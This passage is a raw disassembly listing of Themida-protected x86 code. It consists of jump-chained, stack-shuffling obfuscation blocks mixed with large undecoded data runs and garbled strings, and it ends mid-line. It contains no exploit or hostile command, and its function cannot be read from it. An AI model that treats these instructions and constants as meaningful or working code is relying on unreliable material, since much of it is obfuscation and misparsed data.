348BFFFFh dd 9BDDE924h, 495E0000h, 848B850h, 0CF057C94h, 4076EB53h dd 94AE9h db 0 ; --------------------------------------------------------------------------- loc_5506A9: ; CODE XREF: Themida_:00556588j xchg esi, [esp] pop esp push esp pop dword ptr [esp] push 3F11h mov [esp], ebx mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_557D1C ; --------------------------------------------------------------------------- dd 8A243428h, 6DE92434h, 0FFFFFFF5h, 0E9592434h, 0BF73h dd 525DE829h, 0FE435FBAh, 0D2E2815Dh, 0E9027D57h, 0D6BCh dd 24048B66h, 685A5452h, 2C70h, 52242C89h, 676B27BAh, 0D771BD32h dd 0D501482Dh, 10C4E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_550712: ; CODE XREF: Themida_:00558125j push ecx push eax jmp loc_55CCFE ; --------------------------------------------------------------------------- loc_550719: ; CODE XREF: Themida_:00559F43j add ah, 0FAh xor cl, ah push dword ptr [esp] pop eax jmp loc_55F5DE ; --------------------------------------------------------------------------- db 31h dd 34332434h, 0C75E924h, 34FF0001h, 6917E924h, 0D3000000h dd 0EBC05A66h, 0E9516605h, 641h, 4C5815Ch, 50000000h, 10D1AE9h dd 0C1814900h, 0A94C4ECDh, 0B4E9CE31h, 5E000126h, 9751E9h dd 0E943B100h, 125C1h, 4B9h, 246C8100h, 0DB777304h, 0D1DDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550782: ; CODE XREF: Themida_:00554CDAj push esp pop edx jmp loc_564646 ; --------------------------------------------------------------------------- loc_550789: ; CODE XREF: Themida_:0055D987j add ecx, 58C80587h sub eax, ecx pop ecx jmp loc_5604E7 ; --------------------------------------------------------------------------- loc_550797: ; CODE XREF: Themida_:005562CAj mov ecx, [esp] push eax mov eax, esp jmp loc_55165F ; --------------------------------------------------------------------------- loc_5507A2: ; CODE XREF: Themida_:0055EDB6j add esp, 4 sub esi, 3F696F0Fh sub esi, ebp push 3738h jmp loc_5610AE ; --------------------------------------------------------------------------- dw 489h dd 0EBABE924h, 0C7FEFFFFh, 0EF80C7FEh, 3C2368F3h, 0C890000h dd 8035B524h, 0E904F2EDh, 0E92CE828h, 83240C8Bh, 0E3E904C4h dd 59000133h, 126F6E9h, 4EFC100h, 8103EFC1h, 71EB50C7h dd 5FFB0146h, 2EA9C381h, 0A4E97EA8h, 0E900011Ch, 0FFFFEB61h ; --------------------------------------------------------------------------- loc_55080C: ; CODE XREF: Themida_:00553F4Aj dec esi sub esp, 4 mov [esp], ecx push 442D29BDh pop ecx jmp loc_560333 ; --------------------------------------------------------------------------- loc_550821: ; CODE XREF: Themida_:005538D7j add esi, 4 jmp loc_5601A4 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 0D6F70000h, 1305EE9h, 51D3F700h, 0F3428DB9h dd 22E1814Dh, 8121815Eh, 3840F4E1h, 81D1F771h, 9D74BDF1h dd 0B8A2E971h, 0F7810000h, 13BF0A4Ch, 295FF801h, 50F02DE8h dd 0EC816C48h, 4, 0B9240C89h, 7EF466AFh, 0D6F7F187h, 0E181F187h dd 70D909FEh, 2C7C181h, 7B05504Ah, 2956E47Ah, 7A7B2DC8h dd 0C8B56E4h, 4C48324h, 64B2E95Dh, 0E3C10000h, 4BD3F705h dd 0C381D3F7h, 2DE4DBA8h, 815BD989h, 0B57A05E9h, 0FFCA0117h dd 53592434h, 3568E389h, 8900003Ah, 4BE2434h, 1000000h dd 24348BF3h, 4C481h, 0B9510000h, 4, 43B6C381h, 0CB014E04h dd 43B6EB81h, 83594E04h, 1C8904ECh, 2474FF24h, 2434FF04h dd 4C4815Bh, 8F000000h, 515C2404h, 1E45BB53h, 814B3795h dd 19D00DEBh, 5BD98912h, 4E35F181h, 0CA01257Bh, 116BCE9h dd 4BA00h, 0D1290000h, 240C875Ah, 8924248Bh, 268242Ch dd 5D000000h, 2C8BEE01h, 4EC8124h, 89000000h, 0E789243Ch dd 4C781h, 0B8500000h, 4, 8758C701h, 8AE9243Ch, 870000BDh dd 0E95C241Ch, 733Ah ; --------------------------------------------------------------------------- loc_55096C: ; CODE XREF: Themida_:0056376Cj or edi, 156274CEh xor edi, 3D76FCFEh and eax, edi push dword ptr [esp] jmp loc_563137 ; --------------------------------------------------------------------------- dw 575Bh dd 0FDCDF8BFh, 1AC381A2h, 293FD543h, 1AEB81FBh, 5F3FD543h dd 0A745E9h, 0E9814900h, 746F4E29h, 8106E1C1h, 0AD2ABCE9h dd 59CB01D4h, 4C381h, 0FF530000h, 0E9042474h, 66B1h ; --------------------------------------------------------------------------- loc_5509C0: ; CODE XREF: Themida_:0055F38Fj add edx, 0DAD47E4h sub edx, ebx sub edx, 0DAD47E4h pop ebx inc edx inc edx shl edx, 7 dec edx jmp loc_55FFBE ; --------------------------------------------------------------------------- loc_5509DA: ; CODE XREF: Themida_:00557ADFj pop edi sub ebp, 36C11D1h sub ebp, edx push eax jmp loc_552E77 ; --------------------------------------------------------------------------- db 0B9h, 0AFh, 77h dd 0F18175CBh, 4B0F355Dh, 0C181D1F7h, 6C536474h, 6BA1C981h dd 0D1F73FB6h, 0FC9EE9h db 0 ; --------------------------------------------------------------------------- loc_550A09: ; CODE XREF: Themida_:00559FBFj pop eax jmp loc_555598 ; --------------------------------------------------------------------------- db 89h dd 14F72404h, 0E9515824h, 0B59Dh ; --------------------------------------------------------------------------- loc_550A1C: ; CODE XREF: Themida_:005640D8j add [esp+4], ebp jmp loc_55D98C ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 0E9h dd 12AF8h, 9A240481h, 17E6E1Eh, 2C812404h, 6E1E9A24h, 0D5BE567Eh dd 17A8D6Dh, 8B042474h, 0C4832434h, 24048104h, 7B13459Bh dd 616868h, 3A45E900h, 0F7660001h, 0F28766D6h, 0BCEA8166h dd 990566F6h, 0D0016641h, 41992D66h, 0B69CE9h, 242C8900h dd 2BDh, 5DEE0100h, 0E93BE956h, 56B50000h, 8006EDC0h, 0EDD026C5h dd 8035CD80h, 0C580AAF5h, 0E9BC04DEh, 398Ch, 4EC81h, 4E90000h dd 1000025h, 24048BC6h, 4C481h, 78B90000h, 3141740Eh, 24348BF1h dd 4C481h, 0C3810000h, 5EB0F18h, 7162BF57h, 0C1476DA9h dd 7EE902EFh, 5D000027h, 4C581h, 0BB530000h, 4, 2E9DD01h dd 5C0000A6h, 0EC81C330h, 4, 52241C89h, 0AF11C968h, 0EC815A17h dd 4, 1156BE9h, 2434FF00h, 4C48358h, 0A925E9h, 5EF58900h dd 0F42B532Dh, 5E8015Fh, 5FF42B53h, 8C04E9h, 81E78900h dd 4C7h, 4C78100h, 87000000h, 575C243Ch, 0BB53E789h, 2A33780Dh dd 6346F381h, 0EBC174D4h, 0BCE38105h, 81772606h, 0D9FF6CC3h dd 5BDF01FDh, 8704EF83h, 895C243Ch, 32E92414h, 6800009Ah dd 0C76h, 0B9240C89h, 2216293Eh, 506EBE56h, 0DEF73173h dd 366DEE81h, 0EEC14447h, 0A0C7E903h, 0E94B0000h, 0AA08h ; --------------------------------------------------------------------------- loc_550B9C: ; CODE XREF: Themida_:00562DA5j mov edi, 795E0699h jmp loc_55C1E0 ; --------------------------------------------------------------------------- dw 17BEh dd 0C1614206h, 0F68108EEh, 6BD84189h, 8146DEF7h, 46FC6EEEh dd 5EF78994h, 5126C181h, 0F9010FA6h, 5126E981h, 0E95F0FA6h dd 2EFEh, 8324048Bh, 8EE904ECh db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550BDF: ; CODE XREF: Themida_:00553A67j push edi mov edi, esp add edi, 4 jmp loc_55566E ; --------------------------------------------------------------------------- loc_550BED: ; CODE XREF: Themida_:00551A43j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_55ABBE ; --------------------------------------------------------------------------- dd 815BDE29h, 0A45BEEEh, 0E9DE0128h, 10664h, 8102E6C1h dd 0FE74C5F6h, 81EED17Ch, 1EC622F6h, 5EF08931h, 7609E9h dd 1C895C00h, 46E95324h db 0C9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550C33: ; CODE XREF: Themida_:0055B1DDj pop dword ptr [esp] mov esp, [esp] jmp loc_560BDD ; --------------------------------------------------------------------------- loc_550C3E: ; CODE XREF: Themida_:005575AFj mov ebp, [esp] push edx mov edx, esp add edx, 4 jmp loc_559B98 ; --------------------------------------------------------------------------- db 81h dd 2C6h, 24348700h, 0A0B2E9h db 0 ; --------------------------------------------------------------------------- loc_550C5D: ; CODE XREF: Themida_:00562C90j add esp, 4 jmp loc_558A6A ; --------------------------------------------------------------------------- dd 7EBE565Dh, 2120AD04h, 0E8E95EF1h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550C77: ; CODE XREF: Themida_:00554A19j push ecx push ebx mov bx, 285Eh jmp loc_5598DA ; --------------------------------------------------------------------------- dw 2CBDh dd 5604F853h, 574EE9h db 0 ; --------------------------------------------------------------------------- loc_550C8D: ; CODE XREF: Themida_:005598E7j add cx, 341Ch jmp loc_5591CD ; --------------------------------------------------------------------------- db 81h dd 4C1h, 0BCF9E900h, 51660000h, 9E9BAB1h, 8100003Ah, 0A533D5F3h dd 2C63E907h db 1, 0 ; --------------------------------------------------------------------------- loc_550CB6: ; CODE XREF: Themida_:00559BA1j pop esp add ecx, ebp push dword ptr [esp] pop ebp push eax jmp loc_552616 ; --------------------------------------------------------------------------- loc_550CC3: ; CODE XREF: Themida_:0055B1D5j pop ecx push edx mov edx, 38654A15h and edx, 3CE47E71h or edx, 2AB362FEh jmp loc_55B3D7 ; --------------------------------------------------------------------------- db 57h dd 1C99E95Dh, 0C0B60000h, 0E6C0CEFEh, 0C6C68003h, 0E9EBE680h dd 0A033h, 664F6853h, 4890000h, 80BE5624h, 4E65DD2Eh, 2454CE81h dd 0D146024Fh, 2995E9EEh, 8B660000h, 0F68240Ch, 89000030h dd 0E589242Ch, 4B951h, 0CD010000h, 11252E9h, 81C32900h dd 303282C3h, 0E9575221h, 7B5h, 6EE95046h, 89000002h, 0B6B5240Ch dd 0F62CCD80h, 90CD80DDh, 0E905EDC0h, 0FFFFF2D2h, 4EC81h dd 3C890000h, 3064BF24h, 0C7816BBBh, 14FD40ADh, 0CF81D7F7h dd 53023F95h, 0FFE87FE9h, 8BDA01FFh, 6855241Ch, 1FEAh dd 0AD5DE9h, 309DB100h, 0D001E9CBh, 875F0000h, 248B241Ch dd 4ECE924h, 840F0000h, 12F36h, 624F68h, 24248900h, 4240481h dd 0E9000000h, 33D8h, 2C8BEF01h, 4C48324h, 256C781h, 0BE567C6Ch dd 75FF3BD5h, 0F5E9F729h db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_550DD3: ; CODE XREF: Themida_:0055E29Cj pop ebx add esp, 4 jmp loc_5593CB ; --------------------------------------------------------------------------- loc_550DDF: ; CODE XREF: Themida_:00559C73j mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] pop esp add edx, 4 push ebx mov ebx, 4 jmp loc_562BF9 ; --------------------------------------------------------------------------- loc_550DFF: ; CODE XREF: Themida_:0055DD07j xor ecx, esi mov esi, [esp] add esp, 4 add edx, 5C116E41h jmp loc_54F90F ; --------------------------------------------------------------------------- loc_550E15: ; CODE XREF: Themida_:0055EA98j mov ebp, edi pop edi jmp loc_560E60 ; --------------------------------------------------------------------------- db 1, 0DAh, 8Bh dd 29E9241Ch, 6600012Eh, 81240C8Bh, 4ECh, 24348900h, 6852E689h dd 51F6h, 68243C89h, 2E073C64h, 60BB535Fh, 312E073Ch, 0E5E95BDFh dd 66000093h, 68240C8Bh, 56EBh, 0E9240C89h, 0FFFFF7EFh dd 4C681h, 34870000h, 0BD555C24h, 583A4268h, 5304E5C1h dd 0E904EC83h, 0FFFFEC86h ; --------------------------------------------------------------------------- loc_550E80: ; CODE XREF: Themida_:00556718j add esi, edx jmp loc_55D85D ; --------------------------------------------------------------------------- aUpsln db 'UPé«',0 align 2 aPtsh db 'PTéhê',0 dd 5FFE2900h, 225DE9h, 0EA815800h, 72F4EF22h, 5E92B850h dd 0E98101B1h, 273B0E0Eh, 0C181C129h, 273B0E0Eh, 3FA6E958h dd 0F7450000h, 86CD81D5h, 81218B50h, 0C28BE0EDh, 5D38683Bh dd 2C890000h, 0DF3FE924h, 0E7890000h, 4C781h, 0A2E90000h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550EE7: ; CODE XREF: Themida_:0055118Ej mov ebp, 4 jmp loc_55A72F ; --------------------------------------------------------------------------- db 0B6h, 7Eh, 28h dd 0CF005AF7h, 12737E9h, 1BF00h, 0C2810000h, 22F41532h dd 0EA81FA01h, 22F41532h, 68D6685Fh, 0C890000h, 7AA7B924h dd 0E9C1406Ch, 0E9D9F702h, 0FF0Fh, 252CEA81h, 0F201622Fh dd 252CC281h, 815E622Fh, 0C86CA4CAh, 0A5C28145h, 31F34601h dd 24148BD6h, 4C481h, 75E90000h, 520000BFh, 0F50002B6h dd 8BEF885Ah, 0C481240Ch, 4, 0E95BF800h, 9596h, 0E930FFh db 10h, 1, 0 ; --------------------------------------------------------------------------- loc_550F73: ; CODE XREF: Themida_:00560137j add ebp, ecx pop ecx add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub esp, 4 jmp loc_55C09B ; --------------------------------------------------------------------------- db 0BAh, 2, 0 dd 0D0010000h, 5224148Bh, 0C281E289h, 4, 4BB53h, 0DA010000h dd 2414875Bh, 12DB7E9h, 8B0B800h, 0C6815556h, 17791B4Eh dd 0EE81C601h, 17791B4Eh, 0EE814658h, 26DBC3EFh, 118CEF81h dd 0F7017B89h, 118CC781h, 685E7B89h, 7CBDh, 0B9240C89h dd 4, 1DA8BD55h, 0C5E93578h, 25FFFFFDh, 5E047CADh, 162ABB53h dd 6E91206h db 0D2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551003: ; CODE XREF: Themida_:00556803j push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_55E4DF ; --------------------------------------------------------------------------- db 68h, 0CBh, 74h dd 0C15F09F9h, 64E903EFh, 81000135h, 0D26DCAC2h, 8BD00152h dd 0EFE92414h, 100005Dh, 34875DEEh, 81565C24h, 4ECh, 48F5400h dd 5EC3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551046: ; CODE XREF: Themida_:0055314Bj mov ebx, ebp pop ebp jmp loc_55D7EF ; --------------------------------------------------------------------------- dw 835Ch dd 148702C2h, 66645C24h, 0EE90289h, 5BFFFFE3h, 0C181C101h dd 2AE5883h, 3C386853h, 0E95B3F30h, 79E6h ; --------------------------------------------------------------------------- loc_551074: ; CODE XREF: Themida_:00563E57j add esp, 4 add ecx, esi jmp loc_5523E6 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0D4DBE9h, 240C8B00h, 8004C483h, 47E97DEDh, 810000B4h dd 146BCEC3h, 0BF575D6Dh, 379D4AF1h, 76A2BD55h, 0D5F73C84h dd 0A7F58145h, 1F9499Ah, 0F8015DEFh, 2DD8295Fh, 71CF5EEAh dd 0FF2434FFh, 34FF2434h, 0C4835B24h, 4C48104h, 68000000h dd 5553h, 2FAFE9h, 0E3885300h, 8A5BDD88h, 88042464h, 8B04246Ch dd 0E955240Ch, 0E88Dh ; --------------------------------------------------------------------------- loc_5510F4: ; CODE XREF: Themida_:005537ECj sub dword ptr [esp], 46EC5371h mov esi, [esp] push 4BA1h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5500C0 ; --------------------------------------------------------------------------- db 57h dd 0FFFA18E9h, 5E089FFh, 4, 8704E883h, 248B2404h, 240C8924h dd 5AD5E9h, 52F50100h, 9E32F1BAh, 89C5814Bh, 1217628h dd 89ED81D5h, 8B217628h, 0C4832414h, 24348B04h, 5504C483h dd 8E240481h, 8B06C738h, 0C4812414h, 4, 388EEA81h, 15D06C7h dd 0BF575AD6h, 4, 3C8BFE29h, 4C48124h, 87000000h, 248B2434h dd 24048924h, 11A8CE9h db 0 ; --------------------------------------------------------------------------- loc_55118D: ; CODE XREF: Themida_:0055E6EAj push ebp jmp loc_550EE7 ; --------------------------------------------------------------------------- db 8Bh dd 5FE92434h, 3000001Ah, 0F00058E6h, 0FF2434FFh, 148B2434h dd 4C48124h, 57000000h, 63AFE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5511B6: ; CODE XREF: Themida_:005501AAj add ecx, eax add ecx, 4C666DB1h pop eax pop eax add ecx, 4 push ecx jmp loc_55145B ; --------------------------------------------------------------------------- dd 0FFE19CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5511D1: ; CODE XREF: Themida_:00558A90j mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp push esi mov esi, 1DBE1779h sub ebx, 43C30DAh sub ebx, esi add ebx, 43C30DAh jmp loc_552510 ; --------------------------------------------------------------------------- dd 29C668h, 242C8900h, 0B9515D54h, 4, 34FFCD01h, 0C4835924h dd 4BA5204h, 0E9000000h, 0FFFFF441h, 2F6BF4B9h, 69BE5610h dd 0C10F2C7Eh, 0DEF705EEh, 49AFE9h, 0B9CF8100h, 5237D315h dd 3434E9h, 56CA0100h, 1B5E68h, 243C8900h, 2158B868h, 45E95F49h dd 6800002Fh, 5A41h, 0B8240489h, 18B87160h, 5708E9h, 455BE00h dd 0E3E92992h, 8B00001Fh, 0F2E92424h, 89FFFFE0h, 0EC832414h dd 48F5404h, 9EBEE924h, 0F0310000h, 6824348Bh, 2AC4h, 89241C89h dd 4EC83E3h, 0E70AE9h, 242C8900h, 4EC81h, 3C890000h, 6048BF24h dd 0FD894318h, 81243C8Bh, 4C4h, 56D5F700h, 52C8E9h db 0 ; --------------------------------------------------------------------------- loc_5512C5: ; CODE XREF: Themida_:00560A8Fj add ebx, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp or edx, eax shl edx, 1 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_5640E5 ; --------------------------------------------------------------------------- loc_5512FA: ; CODE XREF: Themida_:0055A3E2j mov ch, ah pop eax push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_563D8F ; --------------------------------------------------------------------------- db 5 dd 692859C5h, 58C7015Dh, 5C243C87h, 0AB7BE9h, 65E46800h dd 0DAE90000h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_551327: ; CODE XREF: Themida_:0055962Aj mov edi, esp add edi, 4 jmp loc_559A37 ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 348B0000h, 6852E924h, 0EB810000h dd 0F012205Eh, 9BE9DA01h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551353: ; CODE XREF: Themida_:0055BF95j push 4534h mov [esp], ebp mov ebp, 4 jmp loc_5527E4 ; --------------------------------------------------------------------------- db 0BAh, 0CAh, 43h dd 0D6891B51h, 8324148Bh, 7DE904C4h, 50000132h, 468h, 0BF575800h dd 3F303C38h, 31E9F901h, 88000128h, 0DAE95901h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551393: ; CODE XREF: Themida_:00562D7Aj push ebp jmp loc_558BC0 ; --------------------------------------------------------------------------- aYs9 db 'Yé¿9',0 dw 5300h dd 7373E9h, 0E9E58900h, 0FFFFED70h, 6C17C181h, 0C1810448h dd 2A054F36h, 8324148Bh, 0C8704C4h, 24248B24h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 30B62414h, 80F6E680h dd 61E99AF6h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_5513E7: ; CODE XREF: Themida_:0055175Ej add esp, 4 push 7CD3h mov [esp], edx mov dh, 74h add dh, 4 push 75C9h mov [esp], eax mov ah, 0FFh add dh, ah pop eax inc dh xor dh, 0FBh jmp loc_5575A4 ; --------------------------------------------------------------------------- dw 0CB89h dd 15C1E9h db 0 ; --------------------------------------------------------------------------- loc_551415: ; CODE XREF: Themida_:0055678Dj mov ebx, 3D8A524Bh sub ebx, eax jmp loc_5524A9 ; --------------------------------------------------------------------------- db 29h, 0E8h, 5Dh dd 14E5BB53h, 8EE95C4Eh, 5F000092h, 247EE9h db 0 ; --------------------------------------------------------------------------- loc_551435: ; CODE XREF: Themida_:005555BAj mov edx, [esp] jmp loc_5590E2 ; --------------------------------------------------------------------------- db 31h, 0E8h, 0FFh a4Snd db '4$é¤',0 db 0 ; --------------------------------------------------------------------------- loc_551447: ; CODE XREF: Themida_:00559AE2j neg ebp dec ebp add ebp, 31D039B9h add ebp, 386918FBh jmp loc_557B7A ; --------------------------------------------------------------------------- loc_55145B: ; CODE XREF: Themida_:005511C7j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp and ecx, edx mov edx, [esp] add esp, 4 jmp loc_55FB07 ; --------------------------------------------------------------------------- dd 8B243429h, 0C4812434h, 4, 70BEB951h, 77E97C18h, 68000036h dd 423F2E21h, 20F8E9h, 0E9CA8700h, 7372h, 48BC229h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55E1DA ; --------------------------------------------------------------------------- db 83h dd 0ACE904C3h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514B7: ; CODE XREF: Themida_:00563338j push edx mov edx, 1430126Dh jmp loc_551D3F ; --------------------------------------------------------------------------- dw 5954h dd 0E5E0E956h, 1487FFFFh, 89665C24h, 88E92414h, 0F70000CFh dd 0EF2CE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514DE: ; CODE XREF: Themida_:0055E6C2j add edx, 4 jmp loc_55AE0E ; --------------------------------------------------------------------------- db 5Fh, 1, 0DDh dd 10102E9h, 0BD5500h, 8924A300h, 242C8BEFh, 4C481h, 0BDE90000h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551507: ; CODE XREF: Themida_:0055F8CBj pop dword ptr [esp] jmp loc_559BC7 ; --------------------------------------------------------------------------- db 0FFh dd 9F681C77h, 0E900001Fh, 107B0h, 0FFDE4CE9h, 0FFDC2CFFh dd 525B2434h, 0C2815A54h, 4, 4C281h, 14870000h, 51525C24h dd 3EE9BAB1h, 80000094h, 0E7C0F4E7h, 80C7FE07h, 0DEE9B8CFh dd 8B0000C0h, 56E92414h, 8B000041h, 9E92424h, 83FFFFFAh dd 0B9E9FFE9h, 660000BBh, 0E924048Bh, 9A88h ; --------------------------------------------------------------------------- loc_551574: ; CODE XREF: Themida_:00555593j push esi jmp loc_558D78 ; --------------------------------------------------------------------------- loc_55157A: ; CODE XREF: Themida_:0055FFCDj sub ebx, edi sub ebx, 587771A9h jmp loc_5525B3 ; --------------------------------------------------------------------------- aTyh9 db 'TYh}9',0 align 2 dw 489h dd 46824h, 81580000h, 8A40E4E9h, 68C10142h, 3448h, 10222E9h dd 28282C00h, 592804C8h, 0E828F804h, 0F504F82Ch, 81240C8Bh dd 4C4h, 0AE95500h, 4000006h, 2CD02864h, 0B483E964h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5515D2: ; CODE XREF: Themida_:005528F4j sub esi, 1 jmp loc_55E887 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0F724248Bh, 6BF668F9h, 14890000h, 9CD7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5515F2: ; CODE XREF: Themida_:0055A2DFj mov edx, 4ABF4041h not edx shr edx, 2 sub edx, 0AFDBBC71h jmp loc_5616D2 ; --------------------------------------------------------------------------- db 0FFh a4Sh db '4$éHÂ',0 dw 0AD00h dd 0E951D831h, 11929h ; --------------------------------------------------------------------------- loc_551618: ; CODE XREF: Themida_:00558CD4j xchg ebx, [esp] not ebx xchg ebx, [esp] pop edx sub edx, 1BF8D3A5h sub ebx, edx mov edx, [esp] jmp loc_552B61 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0FCh dd 1278914h, 0FCB951C3h, 29278914h, 48B59CBh, 4C48324h dd 139E9h db 0 ; --------------------------------------------------------------------------- loc_55164D: ; CODE XREF: Themida_:0055E393j mov [esp], esi push edi sub esp, 4 mov [esp], ebp jmp loc_55758B ; --------------------------------------------------------------------------- loc_55165F: ; CODE XREF: Themida_:0055079Dj add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_55D4F4 ; --------------------------------------------------------------------------- dw 0EB83h dd 57DBF7FFh, 587986BFh, 0E9CF815Ch, 57056F2Ch, 8904EC83h dd 5E5F2434h, 0EC81D6F7h, 4, 226E9h db 0 ; --------------------------------------------------------------------------- loc_551699: ; CODE XREF: Themida_:00558F38j push 0AE069E8h mov ebp, [esp] add esp, 4 sub [esp+8], ebp jmp loc_5632B2 ; --------------------------------------------------------------------------- loc_5516B0: ; CODE XREF: Themida_:00555BFDj add esp, 4 mov edx, [esp] add esp, 4 jmp loc_553ED0 ; --------------------------------------------------------------------------- dd 4C581h, 2C870000h, 0C89DE924h, 1C890000h, 57E38924h dd 1E63E9h, 48B6600h, 5E666824h, 1C890000h, 51E38924h dd 45A66856h, 4890000h, 5A006824h, 6858620Bh, 0DF68B47Ch dd 0F3A9E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551706: ; CODE XREF: Themida_:0056464Fj mov [esp], ebp mov ebp, 4 sub edx, ebp mov ebp, [esp] add esp, 4 xchg edx, [esp] pop esp mov [esp], eax sub esp, 4 push esp jmp loc_55C4AC ; --------------------------------------------------------------------------- dd 37B551ACh, 98E9CDFEh, 8B000051h, 0C3302424h, 304D68h dd 240C8900h, 6DA3B850h, 436807A7h, 8900004Eh, 0B8502434h dd 107E63E2h, 0B8C0E9h db 0 ; --------------------------------------------------------------------------- loc_55175D: ; CODE XREF: Themida_:0055A832j pop esp jmp loc_5513E7 ; --------------------------------------------------------------------------- loc_551763: ; CODE XREF: Themida_:0055FB02j mov [esp], edi push 3ED215EBh pop edi mov esi, edi pop edi neg esi or esi, 466B5545h inc esi not esi dec esi add esi, 270924FBh jmp loc_551D37 ; --------------------------------------------------------------------------- dw 0EA81h dd 6B550EC3h, 1992EA81h, 0DA011459h, 1992C281h, 0C2811459h dd 6B550EC3h, 5B2434FFh, 4C481h, 0BEE90000h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517AF: ; CODE XREF: Themida_:00552F4Ej add edi, eax jmp loc_5599C8 ; --------------------------------------------------------------------------- loc_5517B6: ; CODE XREF: Themida_:00557A90j add edi, ebp pop ebp sub esp, 4 mov [esp], edx jmp loc_552A05 ; --------------------------------------------------------------------------- loc_5517C7: ; CODE XREF: Themida_:00564123j pop eax jmp loc_555660 ; --------------------------------------------------------------------------- aRitusqx db 'R‰âUéïX',0 align 2 dw 5155h dd 8749595Dh, 11F581CDh, 4540EC27h, 81FFC583h, 869A7EC5h dd 8BEA01C5h, 7DE9242Ch, 800000A9h, 0D7E9ECC3h, 540000D0h dd 4BF575Ah, 1000000h, 0C2815FFAh, 4, 0E9241487h, 0BBCEh ; --------------------------------------------------------------------------- loc_551818: ; CODE XREF: Themida_:00564442j add eax, 6C9320B5h sub eax, 4C397AE9h add eax, edi add eax, 4C397AE9h jmp loc_55223E ; --------------------------------------------------------------------------- dw 15Fh dd 0C335FF9h, 240C3124h, 0E9240C33h, 891Bh ; --------------------------------------------------------------------------- loc_551840: ; CODE XREF: Themida_:0054FB01j shr ecx, 4 jmp loc_564310 ; --------------------------------------------------------------------------- dd 0E92C77FFh, 0FFFFDB1Dh, 0DA280DB3h, 0E2285B66h, 0E96FB753h dd 0AFF5h, 0F681DEF7h, 1E887D21h, 48F5E9h db 0 ; --------------------------------------------------------------------------- loc_55186D: ; CODE XREF: Themida_:005579CCj push dword ptr [esp] mov edx, [esp] add esp, 4 push edi mov edi, esp push eax sub esp, 4 mov [esp], esi mov esi, 3CDF1483h mov eax, 3CDF1487h xor eax, esi mov esi, [esp] sub esp, 4 mov [esp], ebp push esp jmp loc_552F3D ; --------------------------------------------------------------------------- db 89h dd 73BB241Ch, 0E9288D31h, 100B3h ; --------------------------------------------------------------------------- loc_5518A8: ; CODE XREF: Themida_:00563BDDj add esp, 4 push 4FCEh mov [esp], ebp jmp loc_5599FA ; --------------------------------------------------------------------------- dd 81E9D6F7h, 89000119h, 0EC83243Ch, 24348904h, 2434FF5Fh dd 4C4815Eh, 0E9000000h, 798Dh ; --------------------------------------------------------------------------- loc_5518D8: ; CODE XREF: Themida_:0055221Ej mov ebp, 4 add edi, ebp push dword ptr [esp] pop ebp add esp, 4 xchg edi, [esp] mov esp, [esp] shr ecx, 6 push 5C11h jmp loc_55D531 ; --------------------------------------------------------------------------- dd 68241C89h, 4, 2CBA525Bh, 8104F853h, 347E5EC7h, 81D70164h dd 347E5EEFh, 0C30CE964h, 34310000h, 24343324h, 0D324248Bh dd 0E99C2424h, 8B8Ah ; --------------------------------------------------------------------------- loc_551930: ; CODE XREF: Themida_:00560CB7j push ebp mov ebp, ecx mov ebx, ebp pop ebp push dword ptr [esp] pop ecx push esi mov esi, esp push eax mov eax, 66AE03A4h jmp loc_5640B6 ; --------------------------------------------------------------------------- dd 0EDE9F388h, 81000084h, 45CB0AEBh, 8BDD29A6h, 79E9241Ch dd 5800000Ah, 0CDE9F830h, 87FFFFE5h, 875C243Ch, 0A0E92404h dd 53000118h, 27483268h, 0BE565B45h, 1D6B5EC2h, 815EF331h dd 8C7FBEEBh, 7F3810Ah, 5340E688h, 5018E9h, 243C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 2F94h mov [esp], ecx sub esp, 4 mov [esp], edx mov edx, 4AF024B0h mov ecx, edx pop edx inc ecx jmp loc_560131 ; --------------------------------------------------------------------------- dw 1489h dd 